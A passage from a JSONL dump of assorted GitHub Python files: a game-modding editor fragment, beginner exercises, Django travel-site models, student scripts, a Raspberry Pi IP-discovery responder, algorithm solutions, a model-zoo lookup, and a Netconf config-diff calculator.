current).\"\"\"\n goal = self.get_goal(row_index)\n current_text = goal.goal_name\n if current_text == new_text:\n return # Nothing to change.\n\n if not self._set_entry_text(goal.goal_id, new_text, goal_type=goal.goal_type, update_row_index=row_index):\n return\n\n if record_action:\n self.action_history.record_action(\n undo=partial(self._set_entry_text, entry_id=goal.goal_id, new_text=new_text, category=category),\n redo=partial(self._set_entry_text, entry_id=goal.goal_id, new_text=current_text, category=category),\n )\n else:\n # Also jump to given entry and record view change.\n # TODO: Need to record CURRENT view, which could be a different tab entirely.\n current_map = self.ai.GET_MAP(self.selected_map_id)\n map_choice_string = f\"{current_map.ai_file_stem} [{current_map.verbose_name}]\"\n current_category = self.active_category\n current_entry_id = self.get_entry_id(self.active_row_index) if self.active_row_index else None\n self.linker.jump(self.TAB_NAME, category, goal.goal_id)\n self.view_history.record_view_change(\n back=partial(\n self.linker.jump,\n self.TAB_NAME,\n current_category,\n current_entry_id,\n lambda: self.map_choice.var.set(map_choice_string),\n ),\n forward=partial(\n self.linker.jump,\n self.TAB_NAME,\n category,\n goal.goal_id,\n lambda: self.map_choice.var.set(map_choice_string),\n ),\n )\n\n def _start_entry_text_edit(self, row_index):\n if not self._e_entry_text_edit and not self._e_entry_id_edit:\n goal = self.get_goal(row_index)\n initial_text = goal.goal_name\n if \"\\n\" in initial_text:\n return self.popout_entry_text_edit(row_index)\n self._e_entry_text_edit = self.Entry(\n self.entry_rows[row_index].text_box, initial_text=initial_text, sticky=\"ew\", width=5\n )\n self._e_entry_text_edit.bind(\"\", lambda e, i=row_index: self._confirm_entry_text_edit(i))\n self._e_entry_text_edit.bind(\"\", self._entry_press_up) # confirms edit\n self._e_entry_text_edit.bind(\"\", self._entry_press_down) # confirms edit\n self._e_entry_text_edit.bind(\"\", lambda e, i=row_index: self._confirm_entry_text_edit(i))\n self._e_entry_text_edit.bind(\"\", lambda e: self._cancel_entry_text_edit())\n self._e_entry_text_edit.focus_set()\n self._e_entry_text_edit.select_range(0, \"end\")\n\n def change_entry_id(self, row_index, new_id, category=None, record_action=True):\n # TODO: change for record action\n goal = self.get_goal(row_index)\n current_id = goal.goal_id\n if current_id == new_id:\n return False\n goal_dict = self.get_category_data()\n if (new_id, goal.goal_type) in goal_dict:\n self.CustomDialog(\n title=\"Entry ID Clash\",\n message=f\"Goal ID {new_id} with type {repr(goal.goal_type)} already exists. You must change or \"\n f\"delete it first.\",\n )\n return False\n goal.goal_id = new_id\n self.entry_rows[row_index].update_entry(new_id, goal.goal_name, goal.goal_type)\n return True\n\n def _set_entry_id(self, entry_id: int, new_id: int, category=None, update_row_index=None, goal_type=None):\n \"\"\"Not used here (handled directly in overridden `change_entry_id`).\"\"\"\n # TODO: may need to implement for action history.\n raise NotImplementedError\n\n def _get_display_categories(self):\n \"\"\"Unused.\"\"\"\n return []\n","repo_name":"Grimrukh/soulstruct","sub_path":"soulstruct/base/project/editors/ai.py","file_name":"ai.py","file_ext":"py","file_size_in_byte":49664,"program_lang":"python","lang":"en","doc_type":"code","stars":129,"dataset":"github-code","pt":"37"} +{"seq_id":"2541018016","text":"#QN 2\nfor name in range(50):\n print('Leow Kai Jie')\n\n\n#QN 3\nnumber = 0\nfor i in range(1,129):\n print(number,chr(number))\n number = number + 1\n\n\n#QN 4\ntestString = input('string:')\nfor character in testString:\n print(character,ord(character))\n\n\n#QN 5\nspace = 0\nstring = input('String:')\nfor word in string:\n if ord(word) == 32:\n space +=1\n \nprint('The total number of spaces are',space)\n\n\n#QN 6\npi4 = 0\nnumber = int(input('Enter iterations:'))\nfor p in range(number+1):\n pi4 = (pi4) + ((-1)**p / (2 * p + 1))\npi = pi4 * 4\nprint(pi)\n\n\n#QN 7\ncount = 0\ntotal = 0\nfor i in range(1,8):\n temp = float(input(\"Temperature of the day \" + str(i) + ':'))\n if temp > 0:\n total+=temp\n count+=1\naveTemp = total/count\nprint('The average temperature is',aveTemp)\n\n\n#QN 8\nn = int(input('Total number of integers:'))\n\ntotal = 0\nfor integer in range(1,n+1):\n sq = integer ** 2\n total += sq\nprint('The sum of all the squared values is',total)\n\n\n#QN 9\nprint('%-13s%-6s'%('Length','Area'))\nfor x in range(10,46):\n area = x * (100 - 2*x)/2\n print('%4d%12d'%(x,area))\nprint('The maximum area is 625 units sq')\n\n\n#QN 10\nprint('%-7s%-6s'%('PRICE','PROFIT'))\nfor p in range(10,31):\n profit = p * (100-3*p)\n print('%5d%8d'%(p,profit))\n\n\n#QN 11\ncol = int(input('Number of columns:'))\n\nprint(' ',end='')\nfor r in range(1,col+1):\n print('%-4d'%r,end='')\nprint()\nfor c in range(1,col+1):\n print('%-4d'%c,end='')\n for x in range (1,c+1):\n print('%-4d'%(x*c),end='')\n \n print()\n\n\n\n\n \n","repo_name":"kaijie0102/H2-computing","sub_path":"Tutorials/Tutorial 2B.py","file_name":"Tutorial 2B.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"19207445545","text":"from datetime import datetime\nfrom django.db import models\nfrom django.utils import timezone\nfrom stdimage.models import StdImageField\nfrom stdimage.utils import UploadToUUID\nfrom ckeditor_uploader.fields import RichTextUploadingField\n\n\nclass Tags(models.Model):\n tag_name = models.CharField(max_length=50, verbose_name='标签名')\n\n class Meta:\n verbose_name = '标签'\n verbose_name_plural = '标签'\n\n def __str__(self):\n return self.tag_name\n\n\nclass User(models.Model):\n \"\"\"普通用户表\"\"\"\n\n gender = (\n ('male', '男'),\n ('female', '女'),\n\n )\n\n username = models.CharField(max_length=128, verbose_name=\"用户名\", unique=True)\n password = models.CharField(max_length=256, verbose_name=\"密码\")\n phone = models.CharField(\n max_length=13,\n verbose_name=\"手机号\",\n blank=True\n )\n email = models.EmailField(blank=True, verbose_name=\"邮箱\")\n sex = models.CharField(max_length=32, choices=gender, default='男', verbose_name=\"性别\", blank=True)\n avatar = StdImageField(\n upload_to=UploadToUUID(path=datetime.now().strftime(\"avatar/%Y%m%d\")),\n variations={'thumbnail': {'width': 100, 'height': 75, 'style': 'objects-fit:cover'}},\n null=True,\n blank=True,\n verbose_name=\"头像\"\n )\n background = StdImageField(\n upload_to=UploadToUUID(path=datetime.now().strftime(\"background/%Y%m%d\")),\n variations={'thumbnail': {'width': 100, 'height': 75}},\n null=True,\n blank=True,\n verbose_name=\"背景图\"\n )\n sign = models.CharField(max_length=64, null=True, blank=True, verbose_name=\"一句话介绍\", default='该用户还没有个性签名')\n introduce = models.CharField(max_length=200, null=True, blank=True, verbose_name=\"个人简介\", default='该用户还没有个人简介')\n c_time = models.DateTimeField(auto_now_add=True)\n tags = models.ManyToManyField(Tags, related_name='user_pick', blank=True)\n\n def avatar_img(self):\n if self.avatar:\n return str('' % self.avatar.url)\n else:\n return ' '\n\n avatar_img.short_description = '头像'\n avatar_img.allow_tags = True\n\n def background_img(self):\n if self.background:\n return str('' % self.background.url)\n else:\n return ' '\n\n background_img.short_description = '背景图'\n background_img.allow_tags = True\n\n def __str__(self):\n return self.username\n\n class Meta:\n ordering = ['c_time']\n verbose_name = '旅途用户'\n verbose_name_plural = '旅途用户'\n\n\nclass Strategy(models.Model):\n state = (\n ('review', '审核中'),\n ('publish', '已发布'),\n ('nopass', '建议修改')\n )\n title = models.CharField(max_length=100, blank=True)\n content = RichTextUploadingField(verbose_name='攻略', default=None, blank=True)\n author = models.ForeignKey(User, on_delete=models.CASCADE)\n img = StdImageField(\n upload_to=UploadToUUID(path=datetime.now().strftime(\"strategy/%Y%m%d\")),\n variations={'thumbnail': {'width': 160, 'height': 100}},\n null=True,\n blank=True,\n verbose_name=\"题图\"\n )\n create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间')\n s_state = models.CharField(max_length=32, choices=state, default='审核中', verbose_name=\"攻略状态\", blank=True)\n users_like_count = models.IntegerField(blank=True, verbose_name=\"点赞数\", default=0)\n users_like = models.ManyToManyField(User, related_name=\"strategy_like\", blank=True)\n collections_count = models.IntegerField(blank=True, verbose_name=\"收藏数\", default=0)\n collections = models.ManyToManyField(User, related_name=\"strategy_collections\", blank=True)\n comment_count = models.IntegerField(blank=True, verbose_name=\"点赞数\", default=0)\n tags = models.ManyToManyField(Tags, related_name='strategy_pick', blank=True)\n\n def strategy_img(self):\n if self.img:\n return str('' % self.img.url)\n else:\n return ' '\n\n strategy_img.short_description = '头像'\n strategy_img.allow_tags = True\n\n class Meta:\n ordering = (\"title\", )\n verbose_name = '攻略文章'\n verbose_name_plural = '攻略文章'\n\n def __str__(self):\n return self.title\n\n\nclass Comment(models.Model):#同一个model引用两个外键必须要指定不同的related_name\n \"\"\"\n 评论功能\n \"\"\"\n author = models.ForeignKey(User, on_delete=models.CASCADE, verbose_name='评论者', related_name=\"comment_author\")\n content = models.CharField(max_length=300, verbose_name='评论内容')\n to_someone = models.ForeignKey(User, on_delete=models.CASCADE, verbose_name='回复某人', null=True, related_name=\"comment_to\")\n create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间')\n strategy = models.ForeignKey(Strategy, on_delete=models.CASCADE, verbose_name='攻略')\n\n class Meta:\n verbose_name = '评论攻略'\n verbose_name_plural = '评论攻略'\n\n def __str__(self):\n return self.content[:10]\n\n\nclass New(models.Model):#同一个model引用两个外键必须要指定不同的related_name\n \"\"\"\n 新私信提醒\n \"\"\"\n status = {\n ('nomal', '正常'),\n ('black', '屏蔽'),\n }\n new_send_user = models.ForeignKey(User, on_delete=models.CASCADE, verbose_name='发送者', related_name=\"new_send_user\")\n content = models.CharField(max_length=300, verbose_name='私信内容')\n new_to_user = models.ForeignKey(User, on_delete=models.CASCADE, verbose_name='回复某人',\n null=True, related_name=\"new_to_user\")\n create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间')\n pull_black = models.CharField(max_length=32, choices=status, default='正常', verbose_name=\"状态\", blank=True)\n\n class Meta:\n verbose_name = '新私信'\n verbose_name_plural = '新私信'\n\n def __str__(self):\n return self.content[:10]\n\n\nclass Chat(models.Model):#同一个model引用两个外键必须要指定不同的related_name\n \"\"\"\n 私信\n \"\"\"\n status = {\n ('nomal', '正常'),\n ('black', '屏蔽'),\n }\n send_user = models.ForeignKey(User, on_delete=models.CASCADE, verbose_name='发送者', related_name=\"send_user\")\n content = models.CharField(max_length=300, verbose_name='私信内容')\n to_user = models.ForeignKey(User, on_delete=models.CASCADE, verbose_name='回复某人', null=True, related_name=\"to_user\")\n create_time = models.DateTimeField(auto_now_add=True, verbose_name='创建时间')\n pull_black = models.CharField(max_length=32, choices=status, default='正常', verbose_name=\"状态\", blank=True)\n\n class Meta:\n verbose_name = '私信'\n verbose_name_plural = '私信'\n\n def __str__(self):\n return self.content[:10]\n\n\nclass Follow(models.Model):\n follow = models.ForeignKey(User, related_name='follow_user', on_delete=models.CASCADE)\n fan = models.ForeignKey(User, related_name='fan_user', on_delete=models.CASCADE)\n\n def __str__(self):\n return \"follow:{},fan:{}\".format(self.follow, self.fan)\n\n\nclass Report(models.Model):\n \"\"\"\n 举报表\n \"\"\"\n item = (\n ('spam', '垃圾信息'),\n ('unfriendly', '不友善信息'),\n ('harm', '有害信息'),\n ('tort', '涉嫌侵权'),\n ('other', '其他'),\n )\n target = models.ForeignKey(User, verbose_name='目标', related_name='target', on_delete=models.CASCADE)\n report = models.ForeignKey(User, verbose_name='举报者', blank=True, null=True, related_name='report', on_delete=models.CASCADE)\n reason = models.CharField(max_length=32, choices=item, default='男', verbose_name=\"性别\", blank=True)\n details = models.CharField(max_length=500, blank=True, null=True)\n lock_time = models.DateTimeField(verbose_name='开始封禁时间', blank=True, null=True)\n unlock_time = models.DateTimeField(verbose_name='解除封禁时间', blank=True, null=True)\n\n class Meta:\n verbose_name = '封禁'\n verbose_name_plural = '封禁'\n\n def __str__(self):\n return self.reason\n","repo_name":"GiottoLLL/Tourism_Test","sub_path":"home/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10229764321","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[6]:\n\n\n#first and last digit\nnum=int(input('enter no'))\ndef a(num):\n while(num>=10):\n num=num/10\n return int(num)\ndef z(num):\n num=num%10\n return num\nprint(\"the first digit in no is\",a(num),\"the last digit is\",z(num))\n\n\n# In[10]:\n\n\n#2 fibbonacci series\nn=int(input(\"length 0f fibboncci series\"))\na=0\nb=1\ncount=0\nif n<0:\n print(\"error\")\nelif n==1:\n print(a)\nelse:\n print(\"the fibbonacci series is\")\n while count=0:\n student=[\"member\"]\n for i in range(0,n):\n name=input(\"enter name of student\")\n print(name)\n mark=int(input(\"enter marks out of 100 \"))\n print(mark)\n if(mark<40):\n student.append(name)\n print(\"this student is failed\")\n else:\n print(\"you have passed\")\n for i in range(1,len(student)):\n print(student[i])\nelse:\n print(\"invalid input\")\n \n\n\n# In[33]:\n\n\n#4 multiplication table\nn=int(input(\"which multiplication table do you want\"))\nfor i in range(1,11): \n print (n,\"x\",i,\"=\",n*i)\n\n\n# In[34]:\n\n\n#5 taking number\nsum=0\nc=0\nnum=int(input(\"enter no\"))\nwhile num!=-1:\n c+=1\n sum+=num\n num=int(input())\nprint(sum/c) \n\n","repo_name":"Jayanth0721/Jayanth","sub_path":"Assignment4.py","file_name":"Assignment4.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27458151613","text":"# 該程式負責接收廣播,若收到會回傳樹莓派的IP位址\r\n# 以供其他設備能正常連線至樹莓派\r\n# pip install netifaces\r\nimport socket\r\nimport netifaces as ni\r\n\r\nbroadcast_ip = '255.255.255.255'\r\nbroadcast_port = 12345\r\n\r\nserver_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\nserver_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\nserver_socket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\r\nserver_socket.bind(('', broadcast_port))\r\n\r\nwlan0_ip = ni.ifaddresses('wlan0')[ni.AF_INET][0]['addr']\r\n\r\nprint(\"等待客戶端...\")\r\nwhile True:\r\n data, address = server_socket.recvfrom(1024)\r\n print(\"接收到来自 {} 的廣播:{}\".format(address, data.decode()))\r\n\r\n if data.decode() == \"RASPBERRY_PI_IP_REQUEST\":\r\n response_data = \"RASPBERRY_PI_IP:\" + wlan0_ip\r\n for i in range(0, 3):\r\n server_socket.sendto(response_data.encode(), address)\r\n\r\n print(\"回復客戶端:{}\".format(response_data)+\" 3次\")\r\n","repo_name":"ideashatch/HUB-5168-Plus_examples","sub_path":"SmartHomeSecurity/pi_broadcast.py","file_name":"pi_broadcast.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7936676411","text":"import sys\nsys.stdin = open('2252.txt', 'r')\n\nN, rep = list(map(int, input().split()))\nL = [list(map(int, input().split())) for _ in range(rep)]\n# print(L)\n\nnextList = [[] for _ in range(N+1)]\nindgree = [0 for _ in range(N+1)]\n\nfor l in L:\n nextList[l[0]].append(l[1])\n indgree[l[1]] += 1\n# print(nextList)\n# print(indgree)\n\nq = []\nfor i in range(1, N+1):\n if not indgree[i]:\n q.append(i)\n# print('q', q)\n\nwhile q:\n cur = q.pop(0)\n print(cur, end=' ')\n for j in nextList[cur]:\n if indgree[j]:\n indgree[j] -= 1\n if not indgree[j]:\n q.append(j)\n","repo_name":"anyl92/ALGORITHM","sub_path":"baek/baek_2252_newline.py","file_name":"baek_2252_newline.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"19125820276","text":"from enum import Enum\nfrom pynncml.neural_networks.nn_config import RNNType\nimport pkg_resources\n\n\nclass ModelType(Enum):\n ONESTEP = 0\n TWOSTEP = 1\n WETDRY = 2\n\n\nMODEL_ZOO = {\n ModelType.ONESTEP: {RNNType.GRU: {1: 'one_step_1_rnntype_best.gru',\n 2: 'one_step_2_rnntype_best.gru',\n 3: 'one_step_3_rnntype_best.gru'},\n RNNType.LSTM: {1: 'one_step_1_rnntype_best.lstm',\n 2: 'one_step_2_rnntype_best.lstm',\n 3: 'one_step_3_rnntype_best.lstm'}},\n ModelType.TWOSTEP: {RNNType.GRU: {1: 'two_step_1_rnntype_best.gru',\n 2: 'two_step_2_rnntype_best.gru',\n 3: 'two_step_3_rnntype_best.gru'},\n RNNType.LSTM: {1: 'two_step_1_rnntype_best.lstm',\n 2: 'two_step_2_rnntype_best.lstm',\n 3: 'two_step_3_rnntype_best.lstm'}},\n ModelType.WETDRY: {RNNType.GRU: {1: 'wet_dry_1_rnntype_best.gru',\n 2: 'wet_dry_2_rnntype_best.gru',\n 3: 'wet_dry_3_rnntype_best.gru'},\n RNNType.LSTM: {1: 'wet_dry_1_rnntype_best.lstm',\n 2: 'wet_dry_2_rnntype_best.lstm',\n 3: 'wet_dry_3_rnntype_best.lstm'}\n }}\n\n\ndef get_model_from_zoo(model_type: ModelType, rnn_type: RNNType, n_layers: int) -> str:\n if MODEL_ZOO.get(model_type) is None:\n raise Exception('unknown model:' + str(model_type))\n if MODEL_ZOO.get(model_type).get(rnn_type) is None:\n raise Exception('unknown RNN type:' + str(rnn_type))\n if MODEL_ZOO.get(model_type).get(rnn_type).get(n_layers) is None:\n raise Exception('there is not model with:' + str(n_layers) + 'layers')\n path2download = pkg_resources.resource_filename('pynncml',\n 'model_zoo/' + MODEL_ZOO.get(model_type).get(rnn_type).get(\n n_layers))\n return path2download\n","repo_name":"haihabi/PyNNcml","sub_path":"pynncml/model_zoo/model_common.py","file_name":"model_common.py","file_ext":"py","file_size_in_byte":2245,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"30883261521","text":"stream = iter(open(\"inputs/9.in\", \"r\").read())\ngroup_level = 1\ninside_garbage = False\ntotal = 0\n\ngarbage_count = 0\n\nfor char in stream:\n if char == \"!\":\n stream.__next__()\n continue\n else:\n if inside_garbage:\n if char == \">\":\n inside_garbage = False\n else:\n garbage_count += 1\n else:\n if char == \"<\":\n inside_garbage = True\n elif char == \"{\":\n total += group_level\n group_level += 1\n print(total)\n elif char == \"}\":\n group_level -= 1\n\nprint(total)\n\nprint(garbage_count)","repo_name":"TheodoreCodes/advent_of_code_2017","sub_path":"2018/day9.py","file_name":"day9.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3088177306","text":"import logging\nfrom functools import lru_cache\n\nfrom ncclient import xml_\n\nfrom .ref import IdentityRef, InstanceIdentifier\nfrom .errors import ConfigError\nfrom .composer import Composer\n\n# create a logger for this module\nlogger = logging.getLogger(__name__)\n\nnc_url = xml_.BASE_NS_1_0\nyang_url = 'urn:ietf:params:xml:ns:yang:1'\noperation_tag = '{' + nc_url + '}operation'\ninsert_tag = '{' + yang_url + '}insert'\nvalue_tag = '{' + yang_url + '}value'\nkey_tag = '{' + yang_url + '}key'\n\n\nclass BaseCalculator(object):\n '''BaseCalculator\n\n A set of methods to help calculate substruction and addition of two Config\n instances. This is a base class, which is inherited by protocol calculator\n classes, for example: NetconfCalculator and RestconfCalculator.\n\n Attributes\n ----------\n device : `object`\n An instance of yang.ncdiff.ModelDevice, which represents a modeled\n device.\n\n etree1 : `Element`\n A lxml Element which contains the config.\n\n etree2 : `Element`\n A lxml Element which contains the other config.\n '''\n\n def __init__(self, device, etree1, etree2):\n '''\n __init__ instantiates a BaseCalculator instance.\n '''\n\n self.device = device\n self.etree1 = etree1\n self.etree2 = etree2\n self.__attach_per_instance_cache()\n\n @staticmethod\n def _del_attrib(element):\n '''_del_attrib\n\n Low-level api: Delete four attributes from an Element node if they\n exist: operation, insert, value and key.\n\n Parameters\n ----------\n\n element : `Element`\n The Element node needs to be looked at.\n\n Returns\n -------\n\n Element\n The Element node is returned after processing.\n '''\n\n for ele in element.iter():\n for attribute in ele.attrib.keys():\n del ele.attrib[attribute]\n return element\n\n @staticmethod\n def _get_sequence(scope, tag, parent):\n '''_get_sequence\n\n Low-level api: Return a list of children of a parent with the same tag\n within the scope.\n\n Parameters\n ----------\n\n scope : `list`\n List members can be an element, or a tuple of two elements.\n\n tag : `str`\n Identifier in `{url}tagname` notation.\n\n parent : `Element`\n The parent node.\n\n Returns\n -------\n\n list\n A list of children with the same tag within the scope.\n '''\n\n new_scope = []\n for item in scope:\n if isinstance(item, tuple):\n one, two = item\n if one.getparent() == parent:\n new_scope.append(one)\n else:\n new_scope.append(two)\n else:\n new_scope.append(item)\n return [child for child in parent.iterchildren(tag=tag)\n if child in new_scope]\n\n def _pair_children(self, node_one, node_two):\n \"\"\"_pair_children\n pair all children with their peers, resulting in a list of Tuples\n\n Parameters\n ----------\n node_one : `Element`\n An Element node in one Config instance.\n\n node_two : `Element`\n An Element node in the other Config instance.\n\n Returns\n -------\n\n list\n List of matching pairs, one of both items in the pair can be None\n\n \"\"\"\n # Hash based approach, build two hashtables and match\n # keys are (tag, self-key)\n # self-key is\n # text for leaf-list\n # key tuple for list\n # none for others\n\n def find_one_child(node, tag):\n \"\"\" Find exactly one child with the given tag\"\"\"\n s = list(node.iterchildren(tag=tag))\n if len(s) < 1:\n raise ConfigError(\"cannot find key '{}' in node {} under {}\" \\\n .format(tag,\n node.tag,\n self.device \\\n .get_xpath(node.getparent())))\n if len(s) > 1:\n raise ConfigError(\"not unique key '{}' in node {}\" \\\n .format(tag,\n self.device.get_xpath(node)))\n return s[0]\n\n def build_index_tuple(node, keys, s_node):\n \"\"\"\n build a tuple containing the text of all fields listed in keys, taken from node\n\n s_node is passed to prevent it being looked up twice.\n \"\"\"\n out = [self._parse_text(find_one_child(node, k), s_node) for k in keys]\n return tuple(out)\n\n type_for_tag = {}\n def get_type_for_tag(tag, child):\n \"\"\"\n Given a child node with a given tag, find the type\n\n caches based on tag\n\n :return: a tuple, containing the s_node and node type\n \"\"\"\n node_type = type_for_tag.get(tag, None)\n if node_type is not None:\n return node_type\n s_node = self.device.get_schema_node(child)\n node_type = s_node.get('type')\n\n result = (s_node, node_type)\n type_for_tag[tag] = result\n return result\n\n def build_unique_id(child):\n \"\"\"\n Build the hash key for a node\n \"\"\"\n tag = child.tag\n key = None\n s_node, node_type = get_type_for_tag(tag, child)\n if node_type == 'leaf-list':\n key = self._parse_text(child, s_node)\n elif node_type == 'list':\n keys = self._get_list_keys(s_node)\n key = build_index_tuple(child, keys, s_node)\n return (tag, key)\n\n # build the hashmap for node_one\n ones = {}\n for child in node_one.getchildren():\n key = build_unique_id(child)\n if key in ones:\n raise ConfigError('not unique peer of node {} {}' \\\n .format(child, ones[key]))\n ones[key] = child\n\n # build the hashmap for node_two\n twos = {}\n for child in node_two.getchildren():\n key = build_unique_id(child)\n if key in twos:\n raise ConfigError('not unique peer of node {} {}' \\\n .format(child, twos[key]))\n twos[key] = child\n\n # make pairs, in order\n one_lookup = set(ones.keys())\n keys_in_order = list(ones.keys())\n keys_in_order.extend([two for two in twos.keys() if two not in one_lookup])\n return [(ones.get(uid, None), twos.get(uid, None)) for uid in keys_in_order]\n\n def _group_kids(self, node_one, node_two):\n '''_group_kids\n\n Low-level api: Consider an Element node in a Config instance. Now\n we have two Config instances and we want to compare two corresponding\n Element nodes. This method group children of these nodes in three\n categories: some only exist in node_one, some only exist in node_two,\n and some chiildren of node_one have peers in node_two.\n\n Parameters\n ----------\n\n node_one : `Element`\n An Element node in one Config instance.\n\n node_two : `Element`\n An Element node in the other Config instance.\n\n Returns\n -------\n\n tuple\n There are three elements in the tuple. The first element is a list\n of children of node_one that do not have any peers in node_two. The\n second element is a list of children of node_two that do not have\n any peers in node_one. The last element is a list of tuples, and\n each tuple represents a pair of peers.\n '''\n\n in_1_not_in_2 = []\n in_2_not_in_1 = []\n in_1_and_in_2 = []\n\n for one, two in self._pair_children(node_one, node_two):\n if one is None:\n in_2_not_in_1.append(two)\n elif two is None:\n in_1_not_in_2.append(one)\n else:\n in_1_and_in_2.append((one, two))\n\n return (in_1_not_in_2, in_2_not_in_1, in_1_and_in_2)\n\n def _get_list_keys(self, schema_node):\n '''_get_list_keys\n\n Low-level api: Given a schema node, in particular, a list type schema\n node, it returns a list of keys.\n\n Parameters\n ----------\n\n schema_node : `Element`\n A schema node.\n\n Returns\n -------\n\n list\n A list of tags of keys in `{url}tagname` notation.\n '''\n\n composer = Composer(self.device, schema_node)\n return composer.keys\n\n def _get_peers(self, child_self, parent_other):\n '''_get_peers\n\n Low-level api: Given a config node, find peers under a parent node.\n\n Parameters\n ----------\n\n child_self : `Element`\n An Element node on this side.\n\n parent_other : `Element`\n An Element node on the other side.\n\n Returns\n -------\n\n list\n A list of children of parent_other who are peers of child_self.\n '''\n\n peers = parent_other.findall(child_self.tag)\n s_node = self.device.get_schema_node(child_self)\n if s_node.get('type') == 'leaf-list':\n return list(filter(lambda x:\n self._same_text(child_self, x),\n peers))\n elif s_node.get('type') == 'list':\n keys = self._get_list_keys(s_node)\n return list(filter(lambda x:\n self._is_peer(keys, child_self, x),\n peers))\n else:\n return peers\n\n def _is_peer(self, keys, node_self, node_other):\n '''_is_peer\n\n Low-level api: Return True if node_self and node_other are considered\n as peer with regards to a set of keys.\n\n Parameters\n ----------\n\n keys : `list`\n A list of keys in `{url}tagname` notation.\n\n node_self : `Element`\n An Element node on this side.\n\n node_other : `Element`\n An Element node on the other side.\n\n Returns\n -------\n\n list\n True if node_self is a peer of node_other, otherwise, return False.\n '''\n\n for key in keys:\n s = list(node_self.iterchildren(tag=key))\n o = list(node_other.iterchildren(tag=key))\n if len(s) < 1 or len(o) < 1:\n raise ConfigError(\"cannot find key '{}' in node {}\" \\\n .format(key,\n self.device.get_xpath(node_self)))\n if len(s) > 1 or len(o) > 1:\n raise ConfigError(\"not unique key '{}' in node {}\" \\\n .format(key,\n self.device.get_xpath(node_self)))\n if not self._same_text(s[0], o[0]):\n return False\n return True\n\n def __attach_per_instance_cache(self):\n \"\"\"\n We want to cache _parse_text, as it is an expensive call\n\n Python functools conveniently provides the @lru_cache annotation\n (and no other way of having a pre-made lru_cache)\n\n The lru_cache annotation however locks all arguments in memory, including self\n This causes both trees for this calculator to be locked in memory\n\n We want to use the @lru_cache annotation, but release the cache when this calculator is garbage collected\n For this, we use the following construction:\n https://stackoverflow.com/questions/14946264/python-lru-cache-decorator-per-instance\n \"\"\"\n\n self._parse_text = lru_cache(maxsize=128)(self._parse_text)\n\n # cache because this is an expensive call, often called multiple times on the same node in rapid succession\n def _parse_text(self, node, schema_node=None):\n '''_parse_text\n\n Low-level api: Return text if a node. Pharsing is required if the node\n data type is identityref or instance-identifier.\n\n Parameters\n ----------\n\n node : `Element`\n An Element node in data tree.\n\n Returns\n -------\n\n None or str\n None if the node does not have text, otherwise, text string of the\n node.\n '''\n\n if node.text is None:\n return None\n\n if schema_node is None:\n schema_node = self.device.get_schema_node(node)\n if schema_node.get('datatype') is not None and \\\n (schema_node.get('datatype')[:11] == 'identityref'):\n idref = IdentityRef(self.device, node)\n return idref.default\n elif schema_node.get('datatype') is not None and \\\n schema_node.get('datatype') == 'instance-identifier':\n instanceid = InstanceIdentifier(self.device, node)\n return instanceid.default\n else:\n if schema_node.get(\"type\") == \"container\":\n # prevent whitespace in container to cause problems\n return None\n return node.text\n\n def _same_text(self, node1, node2):\n '''_same_text\n\n Low-level api: Compare text values of two nodes.\n\n Parameters\n ----------\n\n node1 : `Element`\n An Element node in data tree.\n\n node2 : `Element`\n An Element node in data tree.\n\n Returns\n -------\n\n bool\n True if text values of two nodes are same, otherwise, False.\n '''\n\n if node1.text is None and node2.text is None:\n return True\n return self._parse_text(node1) == self._parse_text(node2)\n\n def _merge_text(self, from_node, to_node):\n '''_merge_text\n\n Low-level api: Set text value of to_node according to the text value of\n from_node.\n\n Parameters\n ----------\n\n from_node : `Element`\n An Element node in data tree.\n\n to_node : `Element`\n An Element node in data tree.\n\n Returns\n -------\n\n None\n There is no return of this method.\n '''\n\n if from_node.text is None:\n to_node.text = None\n return\n schema_node = self.device.get_schema_node(from_node)\n if schema_node.get('datatype') is not None and \\\n schema_node.get('datatype')[:11] == 'identityref':\n idref = IdentityRef(self.device,\n from_node, to_node=to_node)\n to_node.text = idref.converted\n elif schema_node.get('datatype') is not None and \\\n schema_node.get('datatype') == 'instance-identifier':\n instanceid = InstanceIdentifier(self.device,\n from_node, to_node=to_node)\n to_node.text = instanceid.converted\n else:\n to_node.text = from_node.text\n\n @property\n def le(self):\n return self._node_le(self.etree1, self.etree2)\n\n @property\n def lt(self):\n return self._node_le(self.etree1, self.etree2) and \\\n not self._node_le(self.etree2, self.etree1)\n\n @property\n def ge(self):\n return self._node_le(self.etree2, self.etree1)\n\n @property\n def gt(self):\n return self._node_le(self.etree2, self.etree1) and \\\n not self._node_le(self.etree1, self.etree2)\n\n @property\n def eq(self):\n return self._node_le(self.etree1, self.etree2) and \\\n self._node_le(self.etree2, self.etree1)\n\n @property\n def ne(self):\n return not self._node_le(self.etree1, self.etree2) or \\\n not self._node_le(self.etree2, self.etree1)\n\n def _node_le(self, node_self, node_other):\n '''_node_le\n\n Low-level api: Return True if all descendants of one node exist in the\n other node. Otherwise False. This is a recursive method.\n\n Parameters\n ----------\n\n node_self : `Element`\n A node to be compared.\n\n node_other : `Element`\n Another node to be compared.\n\n Returns\n -------\n\n bool\n True if all descendants of node_self exist in node_other, otherwise\n False.\n '''\n\n for x in ['tag', 'tail']:\n if node_self.__getattribute__(x) != 